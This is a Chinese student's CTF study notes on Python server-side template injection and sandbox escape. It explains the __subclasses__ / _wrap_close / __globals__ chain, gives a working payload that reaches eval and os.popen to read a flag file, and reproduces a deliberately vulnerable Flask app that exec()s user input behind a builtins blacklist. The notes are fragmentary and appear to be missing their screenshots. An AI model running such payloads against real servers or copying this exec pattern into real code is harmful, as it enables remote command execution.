SSTI.
SSTI
晚上学长讲了ssti 我好像要长脑子了..
源于一道ssti的签到题
ssti
ssti:服务器端模板注入漏洞
{
为什么利用 {{}}来执行ssti语句


a =''.__class__.__base__.__subclasses__()
‘’一个实例
例如
print('i')//打印字符串
__class__
类的内置属性,返回该实例的类型
__base__
返回父类
__subclassess__
查看当前函数下的所有子类(父类的所有子类)
创建一个for循环
如果i在a里边,将i当作字符串,如果i在 wrap_close子类里 打印b

b+=1
__subclassess__()[0]是调用第一个子类,故 +1



找到 wrap_close子类,找 wrap_close子类的原因是 wrap_close子类里边有能实现命令执行的函数 如popen函数
a =''.__class__.__base__.__subclasses__()[132].__init__

__init__
初始化 创建一个新的实例
__globals__
__globals__将获取到的方法 以字典的形式返回

popen
找到 popen函数 利用 popen函数来执行命令
泼盆函数相对于 sysytem函数来讲 更安全一点

eval
利用eval函数导入os库执行命令
先寻找含有eval函数的类 参考链接

利用本身导入os库的类执行命令
寻找含有os库的类


exec()
同eval()都是 __builtins__模块里能执行命令的函数
__builtins__
__builtins__模块里边有 eval()函数 可以执行命令 如
a =''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__"('os').popen('cat flag').read())
open
打开文件 如

read()

如果没有 read()

显示字节流 数据存在字节流里面
例题 菜狗工具

app.py
from flask import *
import io
import os
app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])
flag = "flag{xxxxxxxxx}"
@app.route("/")
def index():
return redirect("/static/index.html")
@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])
def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print
try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)
ret = out.getvalue()
out.close()
return ret
app.run('0.0.0.0', port=9001)

返回实例类型

返回父类

查找所有子类

找到 _wrap_close_子类 想用里边的函数去实现命令执行


初始化实例



访问 app.py

popen函数为空


浙公网安备 33010602011771号